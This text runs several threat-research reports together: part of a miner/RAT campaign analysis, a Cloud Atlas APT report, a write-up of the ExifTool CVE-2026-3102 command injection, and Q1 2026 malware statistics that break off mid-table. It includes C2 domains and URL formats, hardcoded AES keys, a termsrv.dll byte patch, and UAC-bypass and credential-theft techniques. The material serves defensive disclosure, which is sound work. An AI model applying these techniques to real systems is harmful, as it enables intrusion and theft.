class FileContainer{
wchar_t* fullPath; // full path to file
size_t* ptrSize; // pointer to file size
uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};
As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.
To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.
RAT agent
This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:
http://{domain}.space/index.php?authorization=1
http://{domain}.site/index.php? backup version
The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.
At the time of writing this, the following domains were registered:
2025, April-July → 5d14vnfb[.]space
2025, August-November → r7mvjl67[.]space
2025, December → zgj1tam9[.]space
2026, January-March → jeaw520i[.]space
2026, April–July → qdmagva5[.]space
An example of a request to the C2 server is provided below:
As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.
This information is likely used by the backend to check for virtual or debugging environments.
The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):
The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.
Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.
The table below lists the four remote control commands for the RAT agent module.
Code
Purpose
1
Execution of an arbitrary command
2
Reflexive execution of the provided PE file within the explorer.exe process
3
Execution of the provided shellcode
4
Exit
The miners
Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.
Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:
“{domain}.strangled.net”
“{domain}.ignorelist.com”
“{domain}.ftp.sh”
“{domain}.zanity.net”
As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.
The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.
Conclusion
Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.
Our products detect this malware with the following Generic verdicts:
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
Technical details
Initial infection
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
Step
Action
Description
1
Drops “$temp\fixed.ps1”
Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2
Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3
Downloads and drops “$temp\rar.zip”
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6
Opens extracted decoy document “*.pdf” with user’s default software
User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6
Executes “taskkill.exe /F /Im winrar.exe”
Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7
Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk”
Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8
Executes “$temp\fixed.ps1”
Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.
Fixed.ps1 (loader)
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Fixed.ps1::Payload (VBCloud dropper)
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.
Fixed.ps1::Payload (PowerShower)
This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:
Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).
PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.
Contents of the googleearth.ps1(PowerShower)
PowerShower::Payload (credential grabber)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.
The full launch chain looks like this:
The full Base64-decoded script is given below.
Multi-user RDP by patching termsrv.dll
Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
Reverse SSH tunneling
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.
We’ve seen three types of scripts:
Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Patched OpenSSH
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
RevSocks
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
Tor tunneling
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
PowerCloud
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Browser checker
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
Victims
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB
However, TTPs are still differentiated.
Conclusion
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.
ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.
This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.
Technical details
Disclaimer
Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.
Tracing the vulnerable sink
Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.
Finding an unsanitized date value
The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).
In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.
This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.
The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.
Planning the payload delivery
Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:
To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
To copy or move metadata, the -tagsFromFile feature is used.
To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.
Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.
Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.
When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.
Bypassing the filter
To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.
That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value. The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:
Triggering the exploit
To inject commands, we have to revisit the single quote injection into this datetime related tag.
The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.
The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.
Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.
Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:
Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.
Patch analysis
After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.
1. Replacing string form to argument list form:
#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);
2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.
# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
open(my $oldout, ">&STDOUT");
open(my $olderr, ">&STDERR");
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');
my $result = system(@_);
open(STDOUT, ">&", $oldout);
open(STDERR, ">&", $olderr);
return $result;
}
How to protect against ExifTool vulnerability
It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.
ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.
Conclusions
CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.
In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.
To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.
The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.
The quarter in numbers
According to Kaspersky Security Network, in Q1 2026:
More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
More than 306,000 malicious installation packages were discovered, including:
162,275 packages related to mobile banking Trojans;
439 packages related to mobile ransomware Trojans.
Quarterly highlights
The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.
Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)
The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.
In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.
In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.
The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).
Mobile threat statistics
The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.
The detected installation packages were distributed by type as follows:
Detected mobile apps by type, Q4 2025* — Q1 2026 (download)
* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.
Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.
Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)
* The total percentage may exceed 100% if the same users encountered multiple attack types.
Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.
Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).
TOP 20 most frequently detected types of mobile malware
Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.
Verdict
%* Q4 2025
%* Q1 2026
Difference in p.p.
Change in ranking
Backdoor.AndroidOS.Triada.ag
2.62
7.09
+4.48
+10
DangerousObject.Multi.Generic.
6.75
5.84
-0.92
-1
DangerousObject.AndroidOS.GenericML.
3.52
5.51
+1.99
+6
Trojan-Banker.AndroidOS.Mamont.jo
0.00
5.28
+5.28
Trojan.AndroidOS.Fakemoney.v
5.40
3.44
-1.96
-1
Trojan-Downloader.AndroidOS.Keenadu.l
0.00
3.35
+3.35
Trojan-Banker.AndroidOS.Mamont.jx
0.00
3.09
+3.09
Backdoor.AndroidOS.Triada.z
4.87
3.08
-1.79
-2
Trojan.AndroidOS.Triada.fe
5.01
2.98
-2.02
-4
Backdoor.AndroidOS.Keenadu.a
2.07
2.73
+0.66
+6
Trojan-Banker.AndroidOS.Mamont.jg
0.34
2.37
+2.03
Trojan.AndroidOS.Triada.hf
2.15
2.23
+0.07
+3
Trojan.AndroidOS.Boogr.gsh
2.35
2.15
-0.20
0
Trojan.AndroidOS.Triada.ii
5.68
2.07
-3.60
-11
Backdoor.AndroidOS.Triada.ae
1.91
1.76
-0.16
+3
Backdoor.AndroidOS.Triada.ab
1.79
1.72
-0.08
+3
Trojan.AndroidOS.Triada.gn
2.38
1.58
-0.80
-5
Trojan-Banker.AndroidOS.Mamont.gg
1.56
1.50
-0.06
+2
Trojan.AndroidOS.Triada.ga
1.48
1.50
+0.01
+4
Backdoor.AndroidOS.Triada.ad
0.53
1.40
+0.87
+44
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.
Mobile banking Trojans
Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.
Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)
We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.
TOP 10 mobile bankers
Verdict
%* Q4 2025
%* Q1 2026
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo
0.00
15.75
+15.75
Trojan-Banker.AndroidOS.Mamont.jx
0.00
9.22
+9.22
Trojan-Banker.AndroidOS.Mamont.jg
1.47
7.08
+5.61
+24
Trojan-Banker.AndroidOS.Mamont.gg
6.79
4.48
-2.32
-3
Trojan-Banker.AndroidOS.Mamont.ks
0.00
3.98
+3.98
Trojan-Banker.AndroidOS.Agent.ws
6.03
3.78
-2.25
-2
Trojan-Banker.AndroidOS.Mamont.hl
4.30
3.27
-1.03
+1
Trojan-Banker.AndroidOS.Mamont.iv
6.00
3.08
-2.92
-3
Trojan-Banker.AndroidOS.Mamont.jb
3.93
3.07
-0.86
+1
Trojan-Banker.AndroidOS.Mamont.jv
0.00
2.79
+2.79
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
Quarterly figures
In Q1 2026:
Kaspersky products blocked more than 343 million attacks that originated with various online resources.
Web Anti-Virus responded to 50 million unique links.
File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
2938 new ransomware variants were detected.
More than 77,000 users experienced ransomware attacks.
14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
More than 260,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.
A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.
In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.
In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.
In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.
Vulnerabilities and attacks
The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).
Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.
Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)
Number of users attacked by ransomware Trojans
Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.
Number of unique users attacked by ransomware Trojans, Q1 2026 (download)
Attack geography
TOP 10 countries and territories attacked by ransomware Trojans
Country/territory*
%**
1
Pakistan
0.79
2
South Korea
0.64
3
China
0.52
4
Tajikistan
0.40
5
Libya
0.38
6
Turkmenistan
0.36
7
Iraq
0.35
8
Bangladesh
0.33
9
Rwanda
0.30
10
Cameroon
0.28
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
TOP 10 most common families of ransomware Trojans
Name
Verdict
%*
1
(generic verdict)
Trojan-Ransom.Win32.Gen
33.90
2
(generic verdict)
Trojan-Ransom.Win32.Crypren
6.38
3
WannaCry
Trojan-Ransom.Win32.Wanna
5.87
4
(generic verdict)
Trojan-Ransom.Win32.Encoder
4.68
5
(generic verdict)
Trojan-Ransom.Win32.Agent
3.80
6
LockBit
Trojan-Ransom.Win32.Lockbit
2.80
7
(generic verdict)
Trojan-Ransom.Win32.Phny
1.99
8
(generic verdict)
Trojan-Ransom.MSIL.Agent
1.96
9
(generic verdict)
Trojan-Ransom.Python.Agent
1.93
10
